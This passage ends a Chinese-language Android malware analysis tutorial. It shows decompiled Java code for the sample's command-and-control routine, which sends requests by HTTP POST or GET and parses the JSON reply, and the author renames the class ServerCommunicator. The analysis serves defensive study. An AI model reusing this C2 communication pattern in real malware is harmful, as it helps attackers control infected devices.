                UrlEncodedFormEntity urlEncodedFormEntity = new UrlEncodedFormEntity(parameters, "UTF-8");
                httpPost.setEntity(urlEncodedFormEntity);
                inputStream = httpClient.execute(httpPost).getEntity().getContent();
                break label66;
            }
        } catch (Throwable throwable) {
            var10001 = false;
            break label66;
        }

        try {
            if (httpMethod == "GET") {
                httpClient = new DefaultHttpClient();
                String encodedParameters = URLEncodedUtils.format(parameters, "utf-8");
                StringBuilder urlBuilder = new StringBuilder(String.valueOf(urlBuilder));
                HttpGet httpGet = new HttpGet(urlBuilder.append("?").append(encodedParameters).toString());
                inputStream = httpClient.execute(httpGet).getEntity().getContent();
            }
        } catch (Throwable throwable) {
            var10001 = false;
        }
    }

    label55:
    {
        BufferedReader bufferedReader;
        StringBuilder stringBuilder;
        try {
            InputStreamReader inputStreamReader = new InputStreamReader(inputStream, "iso-8859-1");
            bufferedReader = new BufferedReader(inputStreamReader, 8);
            stringBuilder = new StringBuilder();
        } catch (Throwable var10) {
            var10001 = false;
            break label55;
        }

        while (true) {
            try {
                httpMethod = bufferedReader.readLine();
            } catch (Throwable throwable) {
                var10001 = false;
                break;
            }

            if (httpMethod == null) {
                try {
                    inputStream.close();
                    serverResponseRaw = stringBuilder.toString();
                    break;
                } catch (Throwable throwable) {
                    Throwable throwable2 = throwable;

                    try {
                        throw throwable2;
                    } catch (Throwable throwable1) {
                        var10001 = false;
                        break;
                    }
                }
            }

            try {
                stringBuilder.append(httpMethod).append("n");
            } catch (Throwable throwable) {
                var10001 = false;
                break;
            }
        }
    }

    try {
        JSONObject serverResonseJson = new JSONObject(serverResponseRaw);
        ServerCommunicator.serverResponseJson = serverResonseJson;
    } catch (Throwable throwable) {
    }

    return serverResponseJson;
}

根据callC2函数,我们可以将这个类重命名为ServerCommunicator。

 

小结

至此,我们已经对manifest和源代码中的重要函数和类进行了初步分析。通过初步分析,我们已经大致了解了恶意软件中的部分功能。但是,如我们前文所说,对样本分析的过程就犹如拼一块巨型拼图的过程。在对前面的函数和类进行分析后,如果回过头看某些重要的类,会得出什么不同的结论呢?此外,随着分析的不断深入,我们是否能寻找到恶意软件的核心功能?请在下一篇中寻找答案。

(完)